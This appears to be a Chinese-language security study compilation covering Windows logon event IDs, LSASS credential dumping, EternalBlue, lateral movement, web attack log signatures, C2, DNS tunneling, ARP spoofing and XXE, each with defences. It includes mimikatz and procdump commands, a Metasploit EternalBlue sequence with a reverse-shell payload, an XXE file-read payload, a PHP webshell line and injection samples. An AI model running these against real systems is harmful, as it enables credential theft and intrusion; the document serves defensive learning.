网安知识“大乱炖“
网安知识"大乱炖"
Windows 安全事件日志常用 Event ID:
Event ID | 含义 | 说明 |
---|---|---|
4624 | 登录成功 | 表示用户成功登录系统 |
4625 | 登录失败 ✅ | 表示登录尝试失败,是暴力破解最关键的日志标志 |
4672 | 特权登录 | 表示具有管理员权限的账户登录(用于检测高权限账户活动) |
4648 | 显式凭证登录 | 用户在使用runas 或远程方式提供用户名/密码登录 |
暴力破解相关日志特征:
- 连续触发大量 4625 登录失败
- 来自同一个 IP 或多个 IP 的同一账户尝试
- 账户名频繁切换(尝试猜账号)
- 可结合防火墙日志进一步确认攻击来源
暴力破解攻击(Brute Force)
典型特征:
- 使用工具或脚本大量尝试不同用户名/密码组合
- 请求目标为登录接口
- 失败率极高(401 表示认证失败)
防护建议:
- 限制登录失败次数,超限锁定 IP 或账号(如 Fail2Ban)
- 增加验证码、人机验证机制
- 开启登录行为告警,使用 SIEM 分析异常频率
- 使用多因素认证(MFA)
文件上传漏洞防护建议:
- 严格检查文件类型(扩展名 + MIME + 魔术字节)
- 上传目录与 Web 应用主目录 逻辑隔离
- 禁止上传目录执行权限(如 Nginx 配置中加
location /uploads { deny all; }
) - 为上传文件加随机名 & 无执行权限
- 检查文件内容,不仅仅是扩展名
X-Forwarded-For伪造
X-Forwarded-For
(简称 XFF)是一个 HTTP 请求头,用于标识请求的客户端真实 IP 地址,通常用于代理服务器或负载均衡器转发请求时。然而,这个字段是可以被伪造的,这意味着攻击者可以通过篡改该头部来欺骗服务器,使其误以为请求来自信任的 IP 地址。
伪造方法:
攻击者可以在 HTTP 请求头中伪造 X-Forwarded-For
字段,以覆盖或修改真实的客户端 IP 地址。例如:
X-Forwarded-For: 127.0.0.1
在这种情况下,攻击者伪造请求头,将其 IP 地址改为 127.0.0.1
,使得 Web 服务器误认为请求来自本地计算机。这可能导致绕过 IP 黑名单或白名单控制。
伪造的目的:
- 绕过 IP 限制:如果服务器依赖 IP 地址进行访问控制(如白名单或黑名单),伪造的 IP 地址可以绕过这些限制。
- 隐藏攻击来源:攻击者伪造请求头来隐藏真实 IP,从而避免追踪和检测。
- 进行更复杂的攻击:例如暴力破解、DDoS 攻击时,伪造的 IP 地址可以帮助攻击者隐藏其真实身份,增加攻击的隐蔽性。
防护措施:
- 不信任客户端传递的
X-Forwarded-For
:服务器应避免直接信任X-Forwarded-For
字段,特别是当它来自不受信任的源(如直接暴露给公网的代理)。 - 验证代理服务器的 IP 地址:配置 Web 服务器(如 Nginx、Apache)以确保只允许可信的代理服务器修改
X-Forwarded-For
字段,过滤不可信的 IP 地址。 - 使用专用的负载均衡器或代理服务器:确保代理和负载均衡器部署在受信网络中,且通过 HTTPS 加密通道传递请求,避免中间人攻击。
- 多层安全措施:结合 IP 限制、验证码、IP 地理位置分析和多因素认证等手段,增加攻击者伪造 IP 地址的难度。
通过这些措施,Web 应用可以有效减少 X-Forwarded-For
伪造带来的安全风险。
LSASS
🔐 什么是 LSASS?
LSASS(Local Security Authority Subsystem Service)是 Windows 操作系统中的一个核心系统进程,进程名为:lsass.exe
。
它负责处理操作系统的安全策略,例如:
- 用户登录认证
- 密码验证
- 创建访问令牌(Access Tokens)
- 强制执行安全策略(如账号锁定策略)
- 处理 Kerberos / NTLM 协议认证
- 管理用户凭据缓存(如明文密码、哈希等)
⚠️ 为什么 LSASS 是攻击目标?
由于 LSASS 进程内存中保存了登录过的用户的密码明文、哈希、Kerberos 票据等敏感信息,所以它成为了攻击者在获取权限后,进一步横向移动或提升权限的关键目标。
💣 常见的攻击方式:
-
Mimikatz 工具提权: 攻击者用 Mimikatz 读取 LSASS 内存,从中提取明文密码、NTLM 哈希或 Kerberos 票据。
mimikatz.exe privilege::debug sekurlsa::logonpasswords
-
LSASS 内存转储 + 离线分析: 将 LSASS 进程内存转储为
.dmp
文件后,通过工具分析提取凭据。procdump -ma lsass.exe lsass.dmp
-
横向移动: 利用导出的凭据攻击其他主机(如使用
pass-the-hash
或pass-the-ticket
攻击)。
🔥 风险示例:
- 一旦域控的 LSASS 被读取,可能导致整个域的用户凭据泄露。
- 通过 LSASS 导出的 Kerberos 金票(Golden Ticket)可以无限期访问系统资源,后果极其严重。
🛡️ 防护措施:
类别 | 防护措施 |
---|---|
系统配置 | 启用 LSA 保护(Credential Guard、RunAsPPL)防止访问 LSASS |
权限控制 | 限制本地管理员权限,开启 UAC,限制调试权限 |
检测工具 | 使用 EDR 工具监控对 LSASS 的访问行为 |
日志审计 | 开启 4624、4625、4672 等登录事件的日志监控 |
网络防护 | 阻止攻击者上传工具,如 mimikatz.exe,封锁异常出网流量 |
🧠 小结:
- LSASS 是凭据保护核心,极易被攻击者利用。
- 一旦检测到异常访问,优先隔离主机网络,避免凭据扩散。
- 后续应进行内存转储分析、日志取证、账号密码重置等操作。
中间人攻击(MITM)
中间人攻击(MITM,Man-In-The-Middle)是一种网络攻击方式,攻击者在通信双方之间悄悄插入自己,拦截、篡改、窃听或伪造数据,而双方通常毫不知情。
🔍 工作原理:
攻击者通过以下方式介入通信流程:
- 监听:截获通信内容,比如账号、密码、cookie 等敏感数据。
- 篡改:修改通信数据,比如更改汇款账户、插入恶意代码。
- 伪装:假冒其中一方,让另一方误以为在和正确的人通信。
🎯 常见 MITM 攻击场景:
场景 | 描述 |
---|---|
公共 Wi-Fi 攻击 | 攻击者搭建“钓鱼热点”或监听无加密的 Wi-Fi 网络 |
DNS 欺骗 | 把用户请求的域名解析到攻击者控制的服务器上 |
ARP 欺骗 | 局域网中欺骗网关和主机,实现流量转发或篡改 |
HTTPS 劫持 | 替换证书,绕过加密通信(如果客户端不验证证书) |
✅ 防御措施:
- (核心措施)使用 HTTPS 和 SSL/TLS 加密通信
- 验证服务器证书合法性,避免信任伪造证书
- 避免使用 HTTP 登录敏感网站
- 使用 VPN 加密全部流量,特别是在公共网络中
- 启用 HSTS(HTTP 严格传输安全) 强制使用 HTTPS
- 警惕浏览器证书警告,不要忽略
- 采用双因素认证(2FA) ,防止凭证被截获后直接登录
SMB 协议漏洞利用
SMB(Server Message Block)协议 是 Windows 系统中用于文件共享、打印机共享、远程服务等功能的核心协议。
-
端口:
- 139(NetBIOS)
- 445(直接 SMB over TCP)
-
常见工具:Windows 资源共享(\IP\共享名)、
smbclient
、smbmap
、impacket
等。
💣 常见 SMB 协议漏洞(攻击者常用)
① EternalBlue(永恒之蓝)
-
漏洞编号:MS17-010
-
影响系统:Windows XP 到 Windows Server 2012
-
攻击方式:利用 SMBv1 协议的漏洞,实现 远程代码执行(RCE)
-
攻击工具:
- 过程
- Metasploit 模块:
exploit/windows/smb/ms17_010_eternalblue
- 第三方工具:
EternalBlue-DoublePulsar
、EternalScanner
⚠️ 该漏洞被 WannaCry 勒索病毒 用于大规模传播!
-
拓展:MS17-010 的横向移动过程
- 攻击者控制一台内网主机
- 扫描内网其他主机是否开启 445 端口
- 利用 MS17-010 漏洞发起攻击
- 成功后在目标机上植入 shellcode 或控制器(如 DoublePulsar)
- 控制目标机并继续向其他主机横向传播
② SMBGhost(CVE-2020-0796)
- 又名「CoronaBlue」
- 影响系统:Windows 10/Server 2019(SMBv3)
- 同样可造成 远程代码执行
- 2020 年爆出,攻击方式类似 EternalBlue
🛠️ 漏洞利用步骤(以 EternalBlue 为例):
-
目标扫描
nmap -p 445 --script=smb-vuln-ms17-010 <target-ip>
-
确认漏洞存在 工具如
smbclient
,smbmap
,impacket-scan
-
发起攻击(Metasploit 框架)
use exploit/windows/smb/ms17_010_eternalblue set RHOST <目标IP> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <你的IP> exploit
-
获得 shell(meterpreter) ,继续内网渗透、提权或横向移动。
🧱 防御措施:
- 关闭 SMBv1 协议(Windows 功能中禁用)
- 打补丁! :及时安装微软发布的安全更新
- 使用防火墙隔离 SMB 服务
- 禁用匿名访问
- 入侵检测系统(IDS)部署 SMB 流量规则
- 使用强认证机制,开启签名验证
🔚 总结:
项目 | 内容 |
---|---|
协议 | SMB(文件共享、远程服务) |
风险 | 存在多个远程代码执行漏洞 |
常见漏洞 | EternalBlue(MS17-010)、SMBGhost 等 |
后果 | 获取系统权限、横向移动、传播勒索病毒 |
防御 | 打补丁、关闭 SMBv1、限制端口访问、加强监控 |
内网横向移动技术
内网横向移动是指攻击者在成功入侵内网一台主机后,以该主机为跳板,进一步渗透内网其他系统的过程。这是高级持续性威胁(APT)攻击中的关键环节。
常见横向移动技术
① 凭证窃取与重用
- 抓取内存中的明文密码(LSA Secrets)
- 提取缓存的凭据(Credential Dumping)
- 使用Mimikatz等工具获取Kerberos票据
- 哈希传递攻击(Pass-the-Hash)
- 票据传递攻击(Pass-the-Ticket)
② 利用网络服务漏洞
- 攻击SMB、RDP、WinRM等管理协议
- 利用永恒之蓝(MS17-010)等漏洞
- 攻击数据库服务(MySQL, MSSQL等)
③ 利用管理工具
- 滥用PsExec、WMI、PowerShell Remoting等合法管理工具
- 使用远程计划任务执行命令
- 通过DCOM对象远程执行
④ 利用信任关系
- 利用域内信任关系跨域移动
- 滥用管理员共享(Admin 、 C 、C 、C等)
- 利用组策略对象(GPO)部署恶意脚本
⑤ 中间人攻击
- LLMNR/NBT-NS投毒
- ARP欺骗
- SMB中继攻击
横向移动检测常见日志来源:
日志类型 | 作用 |
---|---|
🛡️Windows 安全日志(4624/4625) | 检测登录成功/失败,追踪访问路径 |
🔐 Sysmon 日志(如事件 3) | 检测网络连接行为(含目标 IP 和端口) |
📄 PowerShell 脚本执行日志 | 检测攻击者执行的横向脚本 |
🔗 防火墙/IDS/IPS 日志 | 检测可疑的内部流量(端口扫描、爆破) |
🔍 已失陷主机作为横向跳板的典型迹象
1. 异常 DNS 活动
- 查询可疑或非主流域名(如
abc123.xyz
、malware-update.net
等)。 - DNS 请求频率异常(高频查询、间隔规律)。
- 查询**DGA(域名生成算法)**生成的域名。
💡说明:攻击者可能通过 DNS 通道与 C2 服务器通信。
2. 横向扫描或连接尝试
-
向内网多个主机发起:
- RDP(3389端口)
- SMB(445端口)
- WMI/WinRM(135、5985端口)
- SSH(22端口)
-
利用 PsExec、WMI、PowerShell Remoting 远程执行命令。
💡说明:失陷主机被用来在内网“横向探测”和“横向控制”。
3. 异常登录行为
- 同一个用户短时间内登录多台主机。
- 使用高权限账号(如管理员/域控账号)登录异常。
- 登录时间不符合正常规律(凌晨、节假日等)。
- 登录来源 IP 或主机历史从未使用过。
4. 异常进程行为
-
出现非常规进程或执行路径,如:
-
cmd.exe
/powershell.exe
被远程触发执行。 -
svchost.exe
、wmiprvse.exe
等系统进程被滥用。
-
-
进程间调用链异常,例如某个普通用户触发了远程服务启动。
5. 网络行为异常
- 出现大量横向连接(SMB、RPC、LDAP 查询等)。
- 与内网中多个段的通信突然活跃。
- 向外部 IP 或域名建立长时间或频繁连接(可能是 C2)。
6. 安全工具告警
- EDR/杀毒软件提示“横向移动工具”运行(如 Mimikatz、PsExec)。
- SIEM 告警异常凭据使用或传递(如 Pass-the-Hash)。
横向移动的主要特征:
横向移动的关键是“合法账号被用于在多台主机间移动”
- 异常登录行为
- 某账号(尤其是高权限账号)短时间内登录多台不同主机。
- 非正常时间(如深夜、周末)出现大量登录。
- 从未登录过某主机的用户突然出现登录记录。
- 登录来源 IP 异常(比如跳跃或远程子网)。
- 使用远程管理工具或协议
- 使用 RDP(远程桌面协议) 、SMB(共享) 、WMI(Windows Management Instrumentation) 、PowerShell Remoting。
- 利用如 PsExec、wmic、WinRM 等工具从一台机器远程执行命令到另一台。
- 凭据滥用
- 攻击者使用 Mimikatz 等工具在一台主机上提取凭据后,在其他主机上复用。
- 登录行为中出现“票据委托”、“哈希传递(Pass-the-Hash)”、“票据传递(Pass-the-Ticket)”等迹象。
- 横跨多台主机的进程创建或网络连接
- 一台主机上通过 SMB/WMI 创建远程进程。
- 某用户在多台主机上同时出现 PowerShell、cmd.exe、svchost.exe 等可疑进程。
- 多台主机间出现异常的端口通信(如 445、135、5985、3389)。
- 访问权限异常扩展
- 普通用户突然访问本不应有的资源。
- 新用户被添加到高权限组(如 Domain Admins)。
- AD(Active Directory)中对象权限被修改。
🔧 检测与防御建议:
- 开启并监控 Windows 安全日志(事件 ID 4624、4625、4672、4688 等) 。
- 配置 SIEM、EDR 等安全工具检测异常登录和进程行为。
- 使用最小权限原则,限制用户在网络中的权限范围。
- 定期检查域控与服务器的登录行为。
常见 Web 攻击日志识别速查表
攻击类型 | 日志特征关键字 / URL 特征 | 示例 | 说明 |
---|---|---|---|
SQL 注入 | UNION SELECT ,' OR '1'='1 ,-- ,%27 ,sleep ,user() ,information_schema | id=1 UNION SELECT user(), NULL -- | 利用 SQL 语法注入恶意语句 |
XSS | <script> ,alert(1) ,%3Cscript%3E ,onerror= ,img src=... | q=<script>alert(1)</script> | 注入 JS 脚本,让浏览器执行恶意代码 |
目录遍历 | ../ ,%2e%2e%2f ,../../etc/passwd | GET /../../../etc/passwd | 试图访问网站目录之外的系统文件 |
命令注入 | | 、; 、&& | , ;, &&, whoami, curl, wget, cat, uname -a` | cmd=whoami;ls -al |
文件包含 | ?file=... ,php://input ,php://filter ,../../ ,data:// | file=../../../../etc/passwd | 试图包含系统文件或远程文件 |
远程代码执行(RCE) | eval() ,system() ,exec() ,base64_decode() ,assert() | POST /upload.php + body:<?php system($_GET['cmd']); ?> | 上传 WebShell 或通过 eval 执行命令 |
暴力破解 | 高频率请求登录页面、POST /login ,用户名常变化,IP 重复 | 多次POST /login user=admin&pass=xxx | 爆破账号密码 |
CSRF 尝试 | 伪造表单请求、不常见来源 Referer、有敏感操作参数 | POST /transfer?to=123&money=1000 | 非本站来源发起敏感操作 |
敏感文件探测 | .git ,.svn ,backup.zip ,www.rar ,.env ,web.config | GET /.git/config | 探测源码管理或配置泄漏 |
扫描器指纹 | 大量奇怪路径请求,User-Agent 为sqlmap ,dirb ,nikto 等 | GET /admin/login.php UA: sqlmap | 自动化扫描器尝试暴力探测路径/注入点 |
Web 打点流程图(标准六步)
1. 目标识别(子域、资产)
2. 指纹识别(中间件/框架/语言)
3. 目录枚举 & 页面分析
4. 参数测试(注入点、上传点)
5. 漏洞利用(SQLi/XSS/File Upload)
6. 权限维持(Webshell、弱口令等)
C2通信
C2(Command and Control)通信是指攻击者通过某种方式远程控制已经被入侵的设备或系统的通信方式。它是恶意软件生命周期中关键的一环,尤其是在僵尸网络(botnet)、远控木马、后门等攻击场景中。
🔍 C2 通信是什么?
当一个设备被感染后,恶意软件通常不会“自作主张”地发起攻击或窃取数据,而是会:
- 主动连接攻击者设定的远程服务器(即 C2 服务器);
- 接收指令(如上传数据、下载执行文件、横向移动等);
- 发送回执(如命令执行结果、窃取到的数据);
- 保持长期控制,可被攻击者随时激活。
🧠 常见 C2 通信方式:
- HTTP/HTTPS(最常见,伪装成正常流量)
- DNS 隧道(绕过防火墙)
- 加密通信(使用 TLS、AES 加密内容)
- 社交媒体、GitHub、Telegram(隐藏指令在公开平台)
- P2P 网络(避免单点失败)
⚠️ 如何识别 C2 通信?
- 异常加密连接:未知进程频繁访问境外 IP,特别是非 HTTP 常规端口(如 443、8080)。
- 不正常的 DNS 查询:频繁访问看起来无意义的子域名(如
a13x4.example.com
)。 - 连接周期性:每隔一段时间固定访问某一 IP 或域名。
- 进程不明来源:某些后台进程不是管理员安装的,且正在网络通信。
🛡 防御策略:
- 使用入侵检测系统(IDS)监控出站连接
- 限制服务器只能访问白名单 IP
- 日志审计(netstat、wireshark、firewall log)
- 终端安全管理(EDR、HIDS)
DNS协议
DNS(Domain Name System)协议 是一种基于 UDP 或 TCP 协议的应用层协议,主要用于将域名(如 www.baidu.com)转换成 IP 地址(如 180.101.49.11)的过程。
它定义了客户端(如浏览器)与 DNS 服务器之间如何通信、格式如何组织,端口号是:
UDP 53 端口(查询用,99%情况下)
TCP 53 端口(区域传输、超长响应用)
🧭 DNS 的基本过程:
- 你在浏览器输入网址:
www.example.com
- 浏览器会问系统:这个域名对应哪个 IP?
- 系统检查本地缓存、DNS 缓存,再不行就发请求给 DNS 服务器。
- DNS 服务器返回对应的 IP 地址。
- 浏览器再用这个 IP 去访问服务器,加载网页。
⚠️ 与安全相关的 DNS 知识:
① DNS 劫持
攻击者拦截或篡改 DNS 请求,把你本来要去的地址换成恶意网站。例如:
- 你访问
bank.com
- 实际被引导到了攻击者的假冒网站
② DNS 隧道(DNS Tunneling)
黑客可以把数据伪装成 DNS 请求发出,实现突破防火墙限制。
比如这个“域名”:
cGFzc3dvcmQ9aGFja2VkLmV2aWwtdHVuLmNvbQ==
实际上是 base64 编码的敏感信息!
恶意软件就会把窃取的数据藏在这种“看起来像 DNS”的请求里发送出去。
③ 恶意域名通信
C2 控制端可能通过动态域名(DDNS)或算法生成的域名(DGA)来控制僵尸主机。
🔎 如何监控 DNS 异常?
- 查询记录是否频繁访问未知/可疑域名
- 是否存在无规律的长字符串子域名(DGA 特征)
- 是否频繁访问外部 DNS 服务器(绕过本地 DNS)
- DNS 请求量是否异常暴增
🛡 DNS 安全建议:
- 使用可信 DNS 服务(如 114DNS、Google DNS、Cloudflare)
- 启用 DNS over HTTPS(DoH)或 DNS over TLS(DoT)
- 搭配 IDS/EDR 监控 DNS 出站行为
- 设置 DNS 黑名单和域名过滤
常见日志类型及其作用
日志类型 | 路径/来源 | 用途 | 示例用途 |
---|---|---|---|
系统日志(syslog) | /var/log/syslog 、/var/log/messages | 系统级事件、服务运行情况 | 检查系统启动、服务崩溃 |
认证日志 | /var/log/auth.log | 登录、sudo、ssh 等认证信息 | 分析爆破、非法登录 |
cron 日志 | /var/log/cron | 定时任务执行记录 | 检查是否被植入计划任务 |
web 服务日志 | /var/log/nginx/access.log 等 | 访问行为、请求来源 | 检测 Web 攻击(如 SQL 注入) |
防火墙日志 | 依厂商不同(如 iptables、UFW) | 流量允许/阻止记录 | 检查端口扫描、拒绝连接等 |
EDR/安全软件日志 | 厂商定义 | 恶意行为检测与响应 | 横向移动、命令执行、进程注入等 |
Windows 安全日志 | Windows Event Viewer(如 4624、4625) | 登录、权限变更、审计事件 | 监控横向移动、权限提升 |
数据库日志 | mysql.log 、慢查询日志等 | 数据库操作记录 | 注入攻击分析、性能优化 |
邮件日志 | /var/log/maillog 或 Postfix | 邮件收发行为 | 钓鱼攻击溯源 |
DNS 日志 | BIND、dnsmasq、EDR DNS 模块 | 域名查询行为 | 检测 C2 通信、DNS 隧道 |
🛡️ 安全日志排查建议
- **分析主机被入侵?**看:
auth.log
、cron
、syslog
- **Web 被打?**看:
access.log
、error.log
、WAF 日志 - **疑似横向移动?**看:Windows 安全日志(4624/4625)、Sysmon
- **可疑连接外网?**看:DNS 日志、防火墙日志、EDR 网络行为模块
高度混淆的 Webshell 工具(如 Godzilla、Cobalt Strike的Beacon)
常见通信特征包括:
- 使用 Ajax 请求进行隐藏通信(即
X-Requested-With: XMLHttpRequest
) - 利用 POST 请求 传输 payload
- 传输内容采用 Base64、AES、RSA、异或等方式加密/编码
- 数据结构通常封装为 JSON,如
{"data":"xxxxx"}
🔐 拓展知识:
工具 | 特征 |
---|---|
Godzilla | 加密通信,POST+JSON,Base64,X-Requested-With 伪装 Ajax |
Cobalt Strike Beacon | 可自定义通信方式,支持 HTTP、HTTPS、DNS,常伪装为正常请求 |
Behinder | 加密 payload,通信可能为 AES/RSA,支持异步 |
ARP 攻击 / ARP 欺骗
ARP(地址解析协议) 用于将 IP 地址解析为 MAC 地址,它是以太网通信的基础。
ARP 攻击(ARP 欺骗/ARP spoofing) 这是内网中非常常见的一种中间人攻击方式,对网络安全非常有威胁,尤其是在缺乏防护的局域网环境中(如校园网、办公网等)。
🧠 正常流程:
主机 A 想找 192.168.1.1 的 MAC,会发送一个广播请求:
"谁是 192.168.1.1?告诉我你的 MAC。"
网关回应它的 MAC 地址,然后 A 就可以正常通信。
⚠️ ARP 欺骗的核心思想:
攻击者伪装成其他主机(尤其是网关),向局域网内发送伪造的 ARP 响应,比如告诉别人:
“嗨,我是网关(192.168.1.1),我的 MAC 是 xx:xx:xx:xx:xx:xx”
这样其他主机会把流量发给攻击者,攻击者再转发出去,实现中间人攻击(MITM)。
🎯 ARP 欺骗的危害
危害 | 描述 |
---|---|
中间人攻击(MITM) | 攻击者可以拦截、修改或伪造通信数据。 |
流量窃听 | 窃取账户密码、敏感文件、会话 Cookie 等。 |
会话劫持 | 比如伪造微信/QQ 网页版请求进行控制。 |
断网攻击 | 攻击者伪装成目标主机,让网关发错方向,目标主机“失联”。 |
DNS 劫持 | 配合伪造 DNS 响应实现钓鱼重定向。 |
🔍 如何识别 ARP 欺骗?
① 在网络设备或主机上:
- ARP 表异常:同一 IP 地址对应多个 MAC 地址(频繁变动)。
- 大量 ARP 响应:局域网中看到“无请求”的 ARP 响应包。
- 交换机端口映射频繁变动:一个 MAC 地址频繁出现在不同端口。
② 命令行查看(Windows / Linux):
arp -a
查看是否有不一致的记录,比如:
192.168.1.1 00-11-22-33-44-55 192.168.1.1 66-77-88-99-aa-bb ← 出现多个!
🛡️ 防御措施
措施 | 描述 |
---|---|
静态 ARP 绑定 | 在关键设备(如网关)设置静态 IP-MAC 映射。 |
启用交换机端口安全 | 限制一个端口只能对应一个 MAC 地址。 |
使用 DHCP Snooping + Dynamic ARP Inspection(DAI) | 企业级交换机功能,可有效防止 ARP 欺骗。 |
部署 IDS/IPS 工具 | 如 Snort、Arpwatch 可检测异常 ARP 流量。 |
VPN 隧道加密通信 | 防止攻击者即使抓包也无法读取明文内容。 |
XML注入攻击
XML 注入攻击 是一种通过操控 XML 数据,向 Web 应用程序注入恶意的 XML 代码或标签,从而利用应用程序在处理 XML 数据时的漏洞,进行未授权的操作或数据泄露的攻击方式。这类攻击主要利用应用程序对 XML 数据解析时的安全性漏洞。
1. 攻击原理
XML 注入攻击的原理基于应用程序处理 XML 输入时的漏洞。攻击者通过构造特殊的 XML 数据来干扰 XML 解析过程,可能导致以下情况:
① 信息泄露:攻击者能够通过注入恶意 XML 标签,访问系统的文件或敏感数据。
② 绕过验证:攻击者利用 XML 格式的注入绕过应用程序的输入验证或访问控制。
③ 执行恶意代码:通过恶意的 XML 注入,攻击者能够执行服务器上的代码,导致权限提升或其他安全漏洞。
2. 常见攻击方式
① 外部实体注入(XXE,XML External Entity Injection) : XXE 是 XML 注入的一种常见形式,攻击者通过构造恶意的 XML 数据请求,利用外部实体加载敏感文件或执行恶意操作。例如,攻击者可以通过 XML 请求访问服务器上敏感文件如 /etc/passwd
或执行远程代码。
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
这种攻击会导致解析器尝试加载文件 /etc/passwd
,从而暴露敏感信息。
② 恶意 XML 标签注入: 攻击者通过在 XML 数据中注入恶意标签或属性,篡改原本的请求,造成验证绕过、数据泄漏、服务崩溃等安全问题。
③ XML 实体扩展攻击: 攻击者可以利用 XML 实体注入漏洞,注入恶意代码或执行恶意操作,导致服务器出现拒绝服务(DoS)等攻击。
3. 常见影响
- 数据泄露:攻击者可能通过 XML 注入访问并泄露服务器上的敏感数据或系统文件。
- 服务拒绝(DoS) :通过过度复杂的 XML 数据导致服务器处理负担过重,进而崩溃或出现拒绝服务状态。
- 绕过安全验证:攻击者通过注入恶意数据绕过应用程序的认证或授权机制。
- 执行远程代码:攻击者通过 XML 文件注入远程代码执行(RCE)攻击,进而控制目标系统。
4. 防护措施
① 禁用外部实体解析(XXE) : 在处理 XML 数据时,禁用外部实体解析功能,防止通过恶意实体加载敏感文件或执行恶意操作。
例如,Java 中禁用外部实体:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
② 输入验证与清理: 对用户输入的 XML 数据进行严格验证,确保不包含恶意的标签或特殊字符。对 XML 数据进行转义或清洗,防止非法数据被执行。
③ 使用安全的 XML 解析库: 使用经过安全审计的 XML 解析库,这些库通常会默认禁用不安全的功能,如外部实体解析、DDoS 风险等。
④ 最小化 XML 处理功能: 仅启用 XML 解析所需的基本功能,避免启用可能导致漏洞的高级功能,如外部实体引用、DTD(文档类型定义)等。
⑤ 保持库和框架的更新: 确保使用的 XML 解析库和相关框架是最新的,及时修复已知的安全漏洞。
⑥ 配置 Web 应用防火墙(WAF) : 使用 WAF 对 XML 请求进行过滤,检测和阻止恶意的 XML 注入攻击。
5. 总结
XML 注入攻击是一种通过恶意 XML 数据操控应用程序的攻击方式,可能导致信息泄露、拒绝服务(DoS)或远程代码执行等严重安全问题。为了防止 XML 注入攻击,开发人员应加强对 XML 输入的验证和清理,禁用不必要的解析功能,使用安全的解析库,并定期更新应用程序和库,确保系统安全。